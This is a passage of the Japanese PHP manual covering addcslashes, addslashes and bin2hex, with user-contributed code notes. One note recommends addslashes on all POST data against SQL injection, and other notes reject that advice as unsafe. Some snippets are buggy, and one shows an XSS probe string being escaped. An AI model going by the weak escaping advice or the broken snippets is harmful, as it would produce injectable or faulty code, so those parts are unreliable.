  *   like : -a-z0-9_@.
  */
  function str_match( $str, $match )
  {
    $return = '';
    if( eregi( '(.*)', $match, $class ) )
    {
      $match = '['.$regs[1].']';
      for( $i=0; $i<strlen($str); $i++ )
      if( ereg( '['.$class[1].']', $str[$i] ) )
      $return .= $str{$i};
      return $return;
    }
    else return false;
  }

  /*
  * example
  * accept only alphanum caracteres from the GET/POST parameters 'a'
  */

  if( ! empty($_REQUEST['a']) )
    $_REQUEST['a'] = str_match( $_REQUEST['a'], 'a-zA-Z0-9' );
  else
    $_REQUEST['a'] = 'default';
?>
Pommef 19-Mar-2005 01:15
Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

        $res = implode($needle,$haystack);

        $res = array_slice($res, $pos,  $occurance);

        return explode ($needle,$res);
    }
?>
kristin at greenapple dot on dot ca 02-Jan-2005 08:32
I really searched for a function that would do this as I've seen it in other languages but I couldn't find it here. This is particularily useful when combined with substr() to take the first part of a string up to a certain point.

strnpos() - Find the nth position of needle in haystack.

<?php

    function strnpos($haystack, $needle, $occurance, $pos = 0) {

        for ($i = 1; $i <= $occurance; $i++) {
            $pos = strpos($haystack, $needle, $pos) + 1;
        }
        return $pos - 1;

    }

?>

Example: Give me everything up to the fourth occurance of '/'.

<?php

    $haystack = "/home/username/www/index.php";
    $needle = "/";

    $root_dir = substr($haystack, 0, strnpos($haystack, $needle, 4));

    echo $root_dir;

?>

Returns: /home/username/www

Use this example with the server variable $_SERVER['SCRIPT_NAME'] as the haystack and you can self-discover a document's root directory for the purposes of locating global files automatically!
20-Dec-2004 08:31
In response to hackajar <matt> yahoo <trot> com,

No string-to-array function exists because it is not needed. If you reference a string with an offset like you do with an array, the character at that offset will be return. This is documented in section III.11's "Strings" article under the "String access and modification by character" heading.
andy a t onesandzeros d o t biz 09-Nov-2004 02:54
I use these little doo-dads quite a bit. I just thought I'd share them and maybe save someone a little time. No biggy. :)

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
    return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}

// return tru if $str ends with $sub
function endsWith( $str, $sub ) {
    return ( substr( $str, strlen( $str ) - strlen( $sub ) ) == $sub );
}

// trims off x chars from the front of a string
// or the matching string in $off is trimmed off
function trimOffFront( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, $off );
    else
        return substr( $str, strlen( $off ) );
}

// trims off x chars from the end of a string
// or the matching string in $off is trimmed off
function trimOffEnd( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, 0, strlen( $str ) - $off );
    else
        return substr( $str, 0, strlen( $str ) - strlen( $off ) );
}
[tab!] 27-Oct-2004 12:29
//
// string strtrmvistl(  string str, [int maxlen = 64],
//                      [bool right_justify = false],
//                      [string delimter = "<br>\n"])
//
// splits a long string into two chunks (a start and an end chunk)
// of a given maximum length and seperates them by a given delimeter.
// a second chunk can be right-justified within maxlen.
// may be used to 'spread' a string over two lines.
//

function strtrmvistl($str, $maxlen = 64, $right_justify = false, $delimter = "<br>\n") {
    if(($len = strlen($str = chop($str))) > ($maxlen = max($maxlen, 12))) {
        $newstr = substr($str, 0, $maxlen - 3);

        if($len > ($maxlen - 3)) {
            $endlen = min(($len - strlen($newstr)), $maxlen - 3);
            $newstr .= "..." . $delimter;

            if($right_justify)
                $newstr .= str_pad('', $maxlen - $endlen - 3, ' ');

            $newstr .= "..." . substr($str, $len - $endlen);
        }

        return($newstr);
    }

    return($str);
}
terry dot greenlaw at logicalshift dot com 11-Aug-2004 10:52
Here's a simpler "simplest" way to toggle through a set of 1..n colors for web backgrounds:

<?php
$colours = array('#000000', '#808080', '#A0A0A0', '#FFFFFF');

// Get a colour
$color = next($colors) or $color = reset($colors);
?>

The code doesn't need to know anything about the number of elements being cycled through. That way you won't have to tracking down all the code when changing the number of colors or the color values.


C 言語と同様にスラッシュで文字列をクォートする

  • ≪ String 関数
  • addslashes ≫
  • PHP Manual
  • String 関数
  • C 言語と同様にスラッシュで文字列をクォートする

addcslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

addcslashes — C 言語と同様にスラッシュで文字列をクォートする

説明

addcslashes ( string $string , string $characters ) : string

characters パラメータに羅列された文字の前にバックスラッシュを付けた文字列を返します。

パラメータ

string

エスケープしたい文字列。

characters

エスケープの対象となる文字を並べたもの。 characters が \n, \r 等の文字を含んでいる場合、 C言語と同様の手法によりエスケープされます。 アスキーコードが32未満または126より大きい文字は、8進表現に変換されます。

characters 引数の文字の列びを定義する際には、 範囲の最初と最後で指定する文字集合に含まれる文字の種類を把握するようにしてください。

<?php
echo addcslashes('foo[ ]', 'A..z');
// 出力:  \f\o\o\[ \]
// 全ての大文字と小文字はエスケープされます。
// ... しかし、[\]^_` もエスケープされてしまいます。
?>
また、ある範囲を指定する最初の文字がその範囲の2番目の文字よりも大きな ASCII 値を有している場合、範囲は定義されません。 最初と最後の文字とピリオド文字のみがエスケープされます。 ある文字の ASCII 値を見つけるには、 ord() 関数を使用してください。
<?php
echo addcslashes("zoo['.']", 'z..A');
// 出力:  \zoo['\.']
?>

0, a, b, f, n, r, t そして v といった文字をエスケープするときには注意しましょう。 変換結果はそれぞれ \0, \a, \b, \f, \n, \r, \t そして \v となりますが、 これらはすべて、C 言語では定義済みのエスケープシーケンスです。 その多くは C 言語に由来する他の言語でもエスケープシーケンスとして定義されており、 PHP も例外ではありません。つまり、characters にこれらの文字を定義した状態で addcslashes() を使って他の言語のコードを生成したときに、 期待通りの結果が得られない可能性があるということです。

返り値

エスケープされた文字列を返します。

例

"\0..\37" のように characters に範囲を指定可能です。この場合、アスキーコードが 0 から 31 の範囲の文字は全てエスケープされます。

例1 addcslashes() の例

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\177..\377");
?>

参考

  • stripcslashes() - addcslashes でクォートされた文字列をアンクォートする
  • stripslashes() - クォートされた文字列のクォート部分を取り除く
  • addslashes() - 文字列をスラッシュでクォートする
  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • quotemeta() - メタ文字をクォートする

User Contributed Notes

vishal dot ceeng at gmail dot com 03-May-2019 05:16
echo addcslashes("zoo['.']", 'z..A');

Above code will create an error as per below

Invalid '..'-range, '..'-range needs to be incrementing -
glitchmr at myopera dot com 02-Jul-2013 06:55
If you need JS escaping function, use json_encode() instead.
stein at visibone dot com 12-Nov-2007 03:16
addcslashes() treats NUL as a string terminator:

   assert("any"  === addcslashes("any\0body", "-"));

unless you order it backslashified:

   assert("any\\000body" === addcslashes("any\0body", "\0"));

(Uncertain whether this should be declared a bug or simply that addcslashes() is not binary-safe, whatever that means.)
Johannes 26-Oct-2007 05:34
Be carefull with adding the \ to the list of encoded characters. When you add it at the last position it encodes all encoding slashes. I got a lot of \\\ by this mistake.

So always encode \ at first.
phpcoder at cyberpimp dot pimpdomain dot com 19-Jan-2005 11:02
If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist!

Example:

<?php
  $originaltext = 'This text does NOT contain \\n a new-line!';
  $encoded = addcslashes($originaltext, '\\');
  $decoded = stripcslashes($encoded);
  //$decoded now contains a copy of $originaltext with perfect integrity
  echo $decoded; //Display the sentence with it's literal \n intact
?>

If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction.
ruben at intesys dot it 31-May-2004 09:51
jsAddSlashes for XHTML documents:

<?php
header("Content-type: text/xml");

print <<<EOF
<?xml version="1.0"?>
<html>
<head>
<script type="text/javascript">

EOF;

function jsAddSlashes($str) {
    $pattern = array(
        "/\\\\/"  , "/\n/"    , "/\r/"    , "/\"/"    ,
        "/\'/"    , "/&/"     , "/</"     , "/>/"
    );
    $replace = array(
        "\\\\\\\\", "\\n"     , "\\r"     , "\\\""    ,
        "\\'"     , "\\x26"   , "\\x3C"   , "\\x3E"
    );
    return preg_replace($pattern, $replace, $str);
}

$message = jsAddSlashes("\"<Hello>\",\r\n'&World'\\!");

print <<<EOF
alert("$message");
</script>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>

EOF;
?>
21-Sep-2003 11:44
<?php
function jsaddslashes($s)
{
 $o="";
 $l=strlen($s);
 for($i=0;$i<$l;$i++)
 {
  $c=$s[$i];
  switch($c)
  {
   case '<': $o.='\\x3C'; break;
   case '>': $o.='\\x3E'; break;
   case '\'': $o.='\\\''; break;
   case '\\': $o.='\\\\'; break;
   case '"':  $o.='\\"'; break;
   case "\n": $o.='\\n'; break;
   case "\r": $o.='\\r'; break;
   default:
   $o.=$c;
  }
 }
 return $o;
}

?>
<script language="javascript">
document.write("<? echo jsaddslashes('<h1 style="color:red">hello</h1>'); ?>");
</script>

output :

<script language="javascript">
document.write("\x3Ch1 style=\"color:red\"\x3Ehello\x3C/h1\x3E");
</script>
natNOSPAM at noworrie dot NO_SPAM dot com 17-May-2002 04:22
I have found the following to be much more appropriate code example:

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\@\177..\377");
?>

This will protect original, innocent backslashes from stripcslashes.


文字列をスラッシュでクォートする

  • ≪ addcslashes
  • bin2hex ≫
  • PHP Manual
  • String 関数
  • 文字列をスラッシュでクォートする

addslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

addslashes — 文字列をスラッシュでクォートする

説明

addslashes ( string $string ) : string

エスケープすべき文字の前にバックスラッシュを付けて返します。 エスケープすべき文字とは、以下のとおりです。

  • シングルクォート (')
  • ダブルクォート (")
  • バックスラッシュ (\)
  • NUL (null バイト)

addslashes() 関数 を使うケースとして、 PHPが評価する文字列データに含まれる、既に述べた文字をエスケープする場合があります。

<?php
$str = "O'Reilly?";
eval("echo '" . addslashes($str) . "';");
?>

PHP 5.4.0 より前のバージョンでは、 magic_quotes_gpc が デフォルトで on だったため、 原則として addslashes() 関数がすべての GET, POST, COOKIE のデータに対して実行されていました。 magic_quotes_gpc によって既にエスケープされた文字列に対して addslashes()関数 を絶対に実行してはいけません。2重エスケープになるからです。 get_magic_quotes_gpc()関数 で既にエスケープが行われているかを簡単にチェックできます。

addslashes() 関数は、 SQLインジェクション を防止しようとして誤った使い方がされることがあります。 この関数を使うのではなく、データベース特有のエスケープ関数 および/もしくは プリペアドステートメントを使うようにしてください。

パラメータ

string

エスケープしたい文字列。

返り値

エスケープされた文字列を返します。

例

例1 addslashes() の例

<?php
$str = "Is your name O'Reilly?";

// 出力: Is your name O\'Reilly?
echo addslashes($str);
?>

参考

  • stripcslashes() - addcslashes でクォートされた文字列をアンクォートする
  • stripslashes() - クォートされた文字列のクォート部分を取り除く
  • addcslashes() - C 言語と同様にスラッシュで文字列をクォートする
  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • quotemeta() - メタ文字をクォートする
  • get_magic_quotes_gpc() - magic_quotes_gpc の現在の設定を得る

User Contributed Notes

baburaj dot ambalam at gmail dot com 12-Aug-2020 03:22
escape '$'  using backslash '\$'

<?php

  $evalStr = "5 + 3";
  $sum = 0;
  $evalStr = " \$sum = ". $evalStr.";";
  eval( $evalStr);
  print ("sum ".$sum);

?>
geekcom 19-Jul-2019 04:41
For PHP 7.3.* use FILTER_SANITIZE_ADD_SLASHES.

<?php
$str = "Is your name O'Reilly?";
$strWithSlashes = filter_var($str, FILTER_SANITIZE_ADD_SLASHES);

// Outputs: Is your name O\'Reilly?
echo $strWithSlashes;

?>
wyattstorch42 at outlook dot com 13-Feb-2014 04:02
@ mark at hagers dot demon dot nl :

You shouldn't use str_replace() for this. Use a function like htmlentities(), which will properly encode all user input for fields. That way, it will also work if the user types &, <, >, etc.
David Spector 04-Oct-2013 02:30
If all you want to do is quote a string as you would normally do in PHP (for example, when returning an Ajax result, inside a json string value, or when building a URL with args), don't use addslashes (you don't want both " and ' escaped at the same time). Instead, just use this function:

<?php
function Quote($Str) // Double-quoting only
    {
    $Str=str_replace('"','\"',$Str);
    return '"'.$Str.'"';
    } // Quote
?>

Modify this easily to get a single-quoting function.
Lars 03-Apr-2012 08:51
Even for simple json string backslash encodings, do not use this function. Some tests may work fine, but in json the single quote (') must not be escaped.
qeremy [atta] gmail [dotta] com 24-Feb-2012 03:11
Actually I prefer to escape the SQL queries completely (then no more challenge for data security);

<?php
function escape_query($str) {
    return strtr($str, array(
        "\0" => "",
        "'"  => "&#39;",
        "\"" => "&#34;",
        "\\" => "&#92;",
        // more secure
        "<"  => "&lt;",
        ">"  => "&gt;",
    ));
}
?>

// &#39;&#34;&#92;
echo escape_query("'\"\\\0");

// &lt;script&gt;alert(1)&lt;/script&gt;
echo escape_query("<\0script>alert(1)<\0/script>");

// See more: www.asciitable.com
cliprz at gmail dot com 26-Mar-2011 11:08
<?php

/**
 * @desc add slashes if use MySQL and check if function addslashes is exits else
 * return to escape string in MySQL .
 * same way its return to stripslashes function
 * @param string $type any string u want to insert in MySQL and display from MySQL
 * @param string $type must be add to add slashes and strip to strip slashes
 * @author Yousef Ismaeil - cliprz@gmail.com
 */
function PHP_slashes($string,$type='add')
{
    if ($type == 'add')
    {
        if (get_magic_quotes_gpc())
        {
            return $string;
        }
        else
        {
            if (function_exists('addslashes'))
            {
                return addslashes($string);
            }
            else
            {
                return mysql_real_escape_string($string);
            }
        }
    }
    else if ($type == 'strip')
    {
        return stripslashes($string);
    }
    else
    {
        die('error in PHP_slashes (mixed,add | strip)');
    }
}

?>
svenr at selfhtml dot org 01-Feb-2011 08:45
To output a PHP variable to Javascript, use json_encode().

<?php

$var = "He said \"Hello O'Reilly\" & disappeared.\nNext line...";
echo "alert(".json_encode($var).");\n";

?>

Output:
alert("He said \"Hello O'Reilly\" & disappeared.\nNext line...") ;
roysimke at microsoftsfirstmailprovider dot com 18-Jun-2010 01:35
Never use addslashes function to escape values you are going to send to mysql. use mysql_real_escape_string or pg_escape at least if you are not using prepared queries yet.

keep in mind that single quote is not the only special character that can break your sql query. and quotes are the only thing which addslashes care.
DarkHunterj 25-Aug-2009 05:11
Based on:
Danijel Pticar
05-Aug-2009 05:22
I recommend this extended version, to replace addslashes altogether(works for both strings and arrays):
<?php
function addslashesextended(&$arr_r)
{
    if(is_array($arr_r))
    {
        foreach ($arr_r as &$val)
            is_array($val) ? addslashesextended($val):$val=addslashes($val);
        unset($val);
    }
    else
        $arr_r=addslashes($arr_r);
}
?>
Danijel Pticar 05-Aug-2009 10:22
Hi,
I use this recursive function for POST. It handles multidimensional arrays.

<?php
function as_array(&$arr_r)
{
 foreach ($arr_r as &$val) is_array($val) ? as_array($val):$val=addslashes($val);
 unset($val);
}

as_array($_POST);
?>
leocullen at fastmail dot fm 06-Feb-2009 01:06
this is my version of an addslashes function, useful for processing $_POST array:

<?php
function add_slashes ($an_array) {
  foreach ($an_array as $key => $value) {
    $new_array[$key] = addslashes($an_array[$key]);
  }
}
?>

then call it:

<?php add_slashes($_POST); ?>
stuart at horuskol dot co dot uk 11-Dec-2008 02:44
Be careful on whether you use double or single quotes when creating the string to be escaped:

$test = 'This is one line\r\nand this is another\r\nand this line has\ta tab';

echo $test;
echo "\r\n\r\n";
echo addslashes($test);

$test = "This is one line\r\nand this is another\r\nand this line has\ta tab";

echo $test;
echo "\r\n\r\n";
echo addslashes($test);
Taslim Sohel (sohel62 at yahoo dot com) 07-Dec-2008 10:09
About Raymond and Aditya's post

Following code can help you to add slashes with posted array.
I just added a recursive function with Aditya's code.

<?php
//create array to temporarily grab variables
$input_arr = array();
//grabs the $_POST variables and adds slashes
foreach ($_POST as $key => $input_arr) {
    if(is_array($input_arr)){
        $_POST[$key] = addslashes_array($input_arr);
    }else{
        $_POST[$key] = addslashes($input_arr);
    }

}

// Recursive Function to add slashes with posted array.
function addslashes_array($input_arr){
    if(is_array($input_arr)){
        $tmp = array();
        foreach ($input_arr as $key1 => $val){
            $tmp[$key1] = addslashes_array($val);
        }
        return $tmp;
    }else{
        return addslashes($input_arr);
    }
}

?>
Raymond Hofman 24-Jun-2008 12:14
In addition to the post made by Aditya P Bhatt below. This code works fine for posting a single string but does not work for posting arrays.
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 09:59
Automagically add slashes to $_POST variables. It helps to prevent some sql injection attacks. Also works with $_GET variables.

FILE NAME: input_cl.php
<?php
//create array to temporarily grab variables
$input_arr = array();
//grabs the $_POST variables and adds slashes
foreach ($_POST as $key => $input_arr) {
    $_POST[$key] = addslashes($input_arr);
}
?>

Just put this at the top of your script that gets the variables. Here is an example.

Usage Example
<?php
include("input_cl.php");
// all $_POST variables have slashes added to them
$f_name = $_POST["f_name"];
$l_name = $_POST["l_name"];
$phone_num = $_POST["phone_num"];
$address1 = $_POST["address1"];
$address2 = $_POST["address2"];
$city = $_POST["city"];
$State = $_POST["State"];
$zip = $_POST["zip"];

//sql insert code goes here.
?>
Nate from RuggFamily.com 24-May-2007 07:19
If you want to add slashes to special symbols that would interfere with a regular expression (i.e., . \ + * ? [ ^ ] $ ( ) { } = ! < > | :), you should use the preg_quote() function.
yoder2 at purdue dot edu 27-Apr-2007 12:23
to quote boris-pieper AT t-online DOT de, 15-Jan-2005 06:07,

Note: You should use mysql_real_escape_string() (http://php.net/mysql_real_escape_string) if possible (PHP => 4.3.0) instead of mysql_escape_string().

You may also want to us it instead of addslashes.
sam dot fullman at verizon 20-Mar-2007 02:37
There are other functions "kind of" like this one but this should help adding slashes to a form post which also contains arrays (and you can't access runtime quotes), or you need to add slashes to an array which is already stripped:

<?php
    function addslashes_array($a){
        if(is_array($a)){
            foreach($a as $n=>$v){
                $b[$n]=addslashes_array($v);
            }
            return $b;
        }else{
            return addslashes($a);
        }
    }
?>

note this does not add slashes to the keys - you could easily modify to do this..
Adrian C 02-Mar-2007 06:06
What happends when you add addslashes(addslashes($str))? This is not a good thing and it may be fixed:

function checkaddslashes($str){
    if(strpos(str_replace("\'",""," $str"),"'")!=false)
        return addslashes($str);
    else
        return $str;
}

checkaddslashes("aa'bb");  => aa\'bb
checkaddslashes("aa\'bb"); => aa\'bb
checkaddslashes("\'"); => \'
checkaddslashes("'");  => \'

Hope this will help you
pulstar at ig dot com dot br 11-Sep-2006 07:50
May it is better use the function mysql_real_escape_string instead of addslashes when inserting data into a MySQL database. Check it at:

http://www.php.net/manual/en/function.mysql-real-escape-string.php
joechrz at gmail dot com 19-Aug-2006 05:36
Here's an example of a function that prevents double-quoting, I'm surprised noone has put something like this up yet... (also works on arrays)

<?php
function escape_quotes($receive) {
    if (!is_array($receive))
        $thearray = array($receive);
    else
        $thearray = $receive;

    foreach (array_keys($thearray) as $string) {
        $thearray[$string] = addslashes($thearray[$string]);
        $thearray[$string] = preg_replace("/[\\/]+/","/",$thearray[$string]);
    }

    if (!is_array($receive))
        return $thearray[0];
    else
        return $thearray;
}
?>
Picky 24-May-2006 12:55
This function is deprecated in PHP 4.0, according to this article:

http://www.newsforge.com/article.pl?sid=06/05/23/2141246

Also, it is worth mentioning that PostgreSQL will soon start to block queries involving escaped single quotes using \ as the escape character, for some cases, which depends on the string's encoding.  The standard way to escape quotes in SQL (not all SQL databases, mind you) is by changing single quotes into two single quotes (e.g, ' ' ' becomes ' '' ' for queries).

You should look into other ways for escaping strings, such as "mysql_real_escape_string" (see the comment below), and other such database specific escape functions.
luciano at vittoretti dot com dot br 31-Oct-2005 03:18
Note, this function wont work with mssql or access queries.
Use the function above (work with arrays too).

function addslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = addslashes_mssql($value);
        }
    } else {
        $str = str_replace("'", "''", $str);
    }

    return $str;
}

function stripslashes_mssql($str){
    if (is_array($str)) {
        foreach($str AS $id => $value) {
            $str[$id] = stripslashes_mssql($value);
        }
    } else {
        $str = str_replace("''", "'", $str);
    }

    return $str;
}
thisisroot at gmail dot com 26-Sep-2005 09:30
In response to Krasimir Slavov and Luiz Miguel Axcar:

There are several encoding schemes for inserting binary data into places it doesn't typically belong, such as databases and e-mail bodies. Check out the base64_encode() and convert_uuencode() functions for the details.
Krasimir Slavov kkslavov at yahoo dot com 16-Sep-2005 11:51
If you have problems with adding images or other binady data with addslashes() for php 4.3 >= use:

<?php
$search = array("\x00", "\x0a", "\x0d", "\x1a", "\x09");
$replace = array('\0', '\n', '\r', '\Z' , '\t');

$chrData .= str_replace($search, $replace, $Data );
?>

and put in your SQL field='$chrData' ! please remark quotes
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 01-Sep-2005 06:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
unsafed 30-Apr-2005 08:23
addslashes does NOT make your input safe for use in a database query! It only escapes according to what PHP defines, not what your database driver defines. Any use of this function to escape strings for use in a database is likely an error - mysql_real_escape_string, pg_escape_string, etc, should be used depending on your underlying database as each database has different escaping requirements. In particular, MySQL wants \n, \r and \x1a escaped which addslashes does NOT do. Therefore relying on addslashes is not a good idea at all and may make your code vulnerable to security risks. I really don't see what this function is supposed to do.
gv 06-Nov-2004 05:23
Regarding the previous note using addslashes/stripslahes with regular expressions and databases it looks as if the purpose of these functions gets mixed.

addslahes encodes data to be sent to a database or something similar. Here you need addslashes because you send commands to the database as command strings that contain data and thus you have to escape characters that are special in the command language like SQL.

Therefore the use of addslahses on a regex does properly store the regex in the database.

stripslashes does the opposite: it decodes an addslashes encoded string. However, retrieving data from a database works differently: it does not go through some string interpretation because you actually retrieve your binary data in your variables. In other words: the data stored in your variable is the unmodified binary data that your database returned. You do not run stripslahes on data returned from a database. That way, the regexs are retrieved correctly, too.

This is different from other data exchange like urlencoded strings that you exchange with your browser. Here the data channel uses the same encodings in both directions: therefore you have to encode data to be sent and you have to decode data received.
mark at hagers dot demon dot nl 27-Sep-2004 03:34
I was stumped for a long time by the fact that even when using addslashes and stripslashes explicitly on the field values double quotes (") still didn't seem to show up in strings read from a database. Until I looked at the source, and realised that the field value is just truncated at the first occurrence of a double quote. the remainder of the string is there (in the source), but is ignored when the form is displayed and submitted.

This can easily be solved by replacing double quotes with "&quot;" when building the form. like this:
$fld_value =  str_replace ( "\"", "&quot;", $src_string ) ;
The reverse replacement after the form submission is not necessary.
hazy underscore fakie at ringwraith dot org 12-Jul-2003 11:23
Note that when using addslashes() on a string that includes cyrillic characters, addslashes() totally mixes up the string, rendering it unusable.
phil at internetprojectmanagers dot com 09-Apr-2003 06:46
re: problem with mcrypt, addslashes and mysql

Here is my solution to the problem of characters from mcrypt creating issues with mysql calls (due to characters which aren't cleaned up by addslashes).

Solution: simply convert your encryption string to hex, then back to binary when you are ready to decrypt.

<?php
// ie.
$encrypted = addslashes($string);
$encrypted = bin2hex($encrypted);

// ... then:
$decrypted = hex2bin($encrypted);
$decrypted = stripslashes($decrypted);

// where hex2bin() is:
function hex2bin($hexdata) {
  $bindata="";

  for ($i=0;$i<strlen($hexdata);$i+=2) {
    $bindata.=chr(hexdec(substr($hexdata,$i,2)));
  }

  return $bindata;
}
?>

One word of caution: this will increase the length of your initial data string, so you will need to increase the field length for your mysql database.

Cheers, Phil
PS. I knew that I'd eventually be able to give something back to the site!
phil at internetprojectmanagers dot com 09-Apr-2003 04:47
re: encryption, addslashes and mysql

Note that mcrypt encryption may add in an apostrophe from the ascii table which cannot be protected by addslashes. It may not even be on your keyboard.

Because encryption strings are random, you may not discover it unless you test (or stumble?) on the correct sequence which inserts an apostrophe in the encrypted string.

This means that testing is even more important where encryption is concerned. If I create a solution I'll post it here.

Phil
steve at teamITS dot com 18-Jan-2003 05:53
For thelogrus, my testing shows the opposite--that a slashed string is stored correctly by MySQL.  Consider

insert into test (field1) values ('test\'test')

...which is stored as "test'test".  If you were posting "Sir'Weaser" from a form to your script and have magic_quotes_gpc on, then the string is slashed already so if you run addslashes() again you will be entering "Sir\\'Weaser" into MySQL.  In that case "Sir\'Weaser" would be the correct output.

In summary, addslashes() is not necessary if magic_quotes_gpc is on.
hoskerr at nukote dot com 12-Nov-2002 03:16
Beware of using addslashes() on input to the serialize() function.   serialize() stores strings with their length; the length must match the stored string or unserialize() will fail.

Such a mismatch can occur if you serialize the result of addslashes() and store it in a database; some databases (definitely including PostgreSQL) automagically strip backslashes from "special" chars in SELECT results, causing the returned string to be shorter than it was when it was serialized.

In other words, do this...

<?php
$string="O'Reilly";
$ser=serialize($string);    # safe -- won't count the slash
$result=addslashes($ser);
?>

...and not this...

<?php
$string="O'Reilly";
$add=addslashes($string);   # RISKY!  -- will count the slash
$result=serialize($add);
?>

In both cases, a backslash will be added after the apostrophe in "O'Reilly"; only in the second case will the backslash be included in the string length as recorded by serialize().

[Note to the maintainers: You may, at your option, want to link this note to serialize() as well as to addslashes().  I'll refrain from doing such cross-posting myself...]
php at slamb dot org 30-Oct-2002 10:48
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that if they pass in a string that includes a "\'", you expand it to "\'''" (an escaped quote followed by a non-escaped quote. WRONG! Attackers can execute arbitrary SQL to drop your tables, make themselves administrators, whatever they want.)

The best way to be safe and correct is to:

- don't use magic quotes; this approach is bad. For starters, that's making the assumption that you will be using your input in a database query, which is arbitrary. (Why not escape all "<"s with "&lt;"s instead? Cross-site scripting attacks are quite common as well.) It's better to set up a way that does whatever escaping is correct for you when you use it, as below:

- when inserting into the database, use prepared statements with placeholders. For example, when using PEAR DB:

<?php
    $stmt = $dbh->prepare('update mb_users set password = ? where username = ?');
    $dbh->execute($stmt, array('12345', 'bob'));
?>

Notice that there are no quotes around the ?s. It handles that for you automatically. It's guaranteed to be safe for your database. (Just ' on oracle, \ and ' on PostgreSQL, but you don't even have to think about it.)

Plus, if the database supports prepared statements (the soon-to-be-released PostgreSQL 7.3, Oracle, etc), several executes on the same prepare can be faster, since it can reuse the same query plan. If it doesn't (MySQL, etc), this way falls back to quoting code that's specifically written for your database, avoiding the problem I mentioned above.

(Pardon my syntax if it's off. I'm not really a PHP programmer; this is something I know from similar things in Java, Perl, PL/SQL, Python, Visual Basic, etc.)
hybrid at n0spam dot pearlmagik dot com 08-May-2001 10:46
Remember to slash underscores (_) and percent signs (%), too, if you're going use the LIKE operator on the variable or you'll get some unexpected results.
php at NO_SPAMj-w3 dot com 02-Apr-2001 03:18
As mentioned, magic_quotes_gpc automatically adds slashes to POST and GET data and these slashes don't go in the database.  BUT, be careful of this. If you have a form with an error check, make sure you strip the slashes if your form remembers the OK fields, so the user doesn't view these automagically added slashes.


バイナリのデータを16進表現に変換する

  • ≪ addslashes
  • chop ≫
  • PHP Manual
  • String 関数
  • バイナリのデータを16進表現に変換する

bin2hex

(PHP 4, PHP 5, PHP 7, PHP 8)

bin2hex — バイナリのデータを16進表現に変換する

説明

bin2hex ( string $string ) : string

string を16進表現に変換したASCII文字列を返します。変換は、上位ニブルからバイト毎に行われます。

パラメータ

string

文字列。

返り値

指定した文字列を16進表現に変換したものを返します。

参考

  • hex2bin() - 16進エンコードされたバイナリ文字列をデコードする
  • pack() - データをバイナリ文字列にパックする

User Contributed Notes

busuioc dot alexandru at gmail dot com 21-Mar-2019 03:43
Convenient way of generating API keys

<?php
$apikey = bin2hex(random_bytes(32)); // generates 64 characters long string /^[0-9a-f]{64}$/
?>
Dave 13-Oct-2014 01:32
Postgresql return result in bytea so don't forget to convert_from

<?php
$sql = "SELECT convert_from(decode('". bin2hex('hex encoded string') ."', 'hex'),'UTF8')";
?>
subdivizion at gmail dot com 18-Sep-2009 05:19
Here's a function to check if a string contains any 7-bit GSM characters.

It might come useful for people working on SMS platforms.

<?php

function check_gsm($str)
{
    $arr = array(
"0x00", "0x01", "0x02", "0x03", "0x04", "0x05","0x06","0x07","0x08","0x09",
"0x0A","0x0B","0x0C","0x0D","0x0E","0x0F","0x10","0x11","0x12","0x13",
"0x14","0x15","0x16","0x17","0x18","0x19","0x1A","0x1B","0x1B0A",
"0x1B14","0x1B28","0x1B29","0x1B2F","0x1B3C","0x1B3D","0x1B3E",
"0x1B40","0x1B65","0x1C","0x1D","0x1E","0x1F","0x20","0x21","0x22",
"0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2A","0x2B","0x2C",
"0x2D","0x2E","0x2F","0x30","0x31","0x32","0x33","0x34","0x35","0x36",
"0x37","0x38","0x39","0x3A","0x3B","0x3C","0x3D","0x3E","0x3F","0x40",
"0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48","0x49","0x4A",
"0x4B","0x4C","0x4D","0x4E","0x4F","0x50","0x51","0x52","0x53","0x54",
"0x55","0x56","0x57","0x58","0x59","0x5A","0x5B","0x5C","0x5D","0x5E",
"0x5F","0x60","0x61","0x62","0x63","0x64","0x65","0x66","0x67","0x68",
"0x69","0x6A","0x6B","0x6C","0x6D","0x6E","0x6F","0x70","0x71","0x72",
"0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7A","0x7B","0x7C",
"0x7D","0x7E","0x7F");

    $strl = strlen($str);
    for ($i = 0;$i < $strl; $i++)
    {
        $char = '0x' . bin2hex(substr($str,$i,1));
        $pos = in_array($char,$arr);
        if ($pos == 1)
        {
            $j++;
        }
    }

    if ($j < $strl)
    {
        return false;
    }
    else
    {
        return true;
    }
}
?>
